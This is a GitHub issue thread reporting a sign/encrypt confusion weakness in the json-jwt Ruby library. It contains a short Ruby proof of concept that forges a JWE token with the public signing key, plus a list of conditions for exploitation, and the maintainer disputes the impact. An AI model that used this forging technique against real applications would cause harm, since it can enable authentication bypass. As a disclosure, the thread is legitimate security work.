nov / json-jwt

JSON Web Token and its family (JSON Web Signature, JSON Web Encryption and JSON Web Key) in Ruby
MIT License
299 stars 81 forks source link

Security: susceptible to sign/encrypt confusion attacks #113

Closed rc-mattschwager closed 8 months ago

rc-mattschwager commented 1 year ago

Hi there,

This attack was recently described in a Black Hat 2023 presentation: Three New Attacks Against JSON Web Tokens.

In short, if an attacker can acquire the public key used for JWS signing, they can use that to forge JWE tokens that decode successfully. Public keys are often made available at an OIDC URL, so they are commonly available. This is due to the JWT.decode interface working for both JWS and JWE. The following code demonstrates the issue:

require 'openssl'
require 'json/jwt'

pkey = OpenSSL::PKey::RSA.new(2048)

claim = {
  iss: 'test',
  exp: 1.week.from_now,
  nbf: Time.now
}
jwt = JSON::JWT.new(claim)
puts "JWT:", jwt.as_json

jws = jwt.sign(pkey)
puts "JWS:", jws.as_json

jws_decoded = JSON::JWT.decode(jws.to_s, pkey).pretty_generate
puts "JWS decoded:", jws_decoded

# Attacker forges a JWE using the public key
jwe = jwt.encrypt(pkey.public_key)
puts "JWE:", jwe.as_json

# The attacker's JWE is successfully decoded
jwe_decoded = JSON::JWT.decode(jwe.to_s, pkey)
puts "JWE decoded:", jwe_decoded

As you can see, an attacker can use the public key to successfully forge tokens.

This behavior was also observed in the following Python libraries:

nov commented 1 year ago

if application uses the same key pair.

rc-mattschwager commented 1 year ago

if application uses the same key pair.

You mean the same key pair for signing and encryption? Yes, that's true if the application is offering both signing and encryption. I think another consideration here is if the application is only intending to offer signing functionality, and it uses asymmetric algorithms (e.g. RSA) for signing, and the public key is in fact made public, then the sign/encrypt confusion can be exploited. In other words, the application intending to only offer signing functionality can be convinced to successfully authenticate a user using the implicit encryption decoding.

Here are the preconditions listed from the Black Hat presentation:

  1. Library supports asymmetric JWTs
  2. App uses JWS tokens with RSA or ECDSA (RS/PS/ES*)
  3. Private key accessible by validation function
  4. No specific algorithm or JWT wrapper type is enforced
  5. Attacker can determine public key. E.g. by: a. Reading it from OIDC endpoint /jwks.json b. If alg is RS*, can compute it from two tokens (https://github.com/SecuraBV/jws2pubkey)

The list of preconditions is relatively large, however, successful exploitation means authentication bypass.

nov commented 1 year ago

There is no encryptor authentication in that context, thus no authentication bypass happens.

carnil commented 10 months ago

https://github.com/P3ngu1nW/CVE_Request/blob/main/novjson-jwt.md seems related? If so this got a CVE assigned: CVE-2023-51774

nov commented 10 months ago

probably same. but JWE decryption result (JWE object w/ String payload) cannot be confused with JWS verification result (JWS object w/ indifferent-access Hash payload).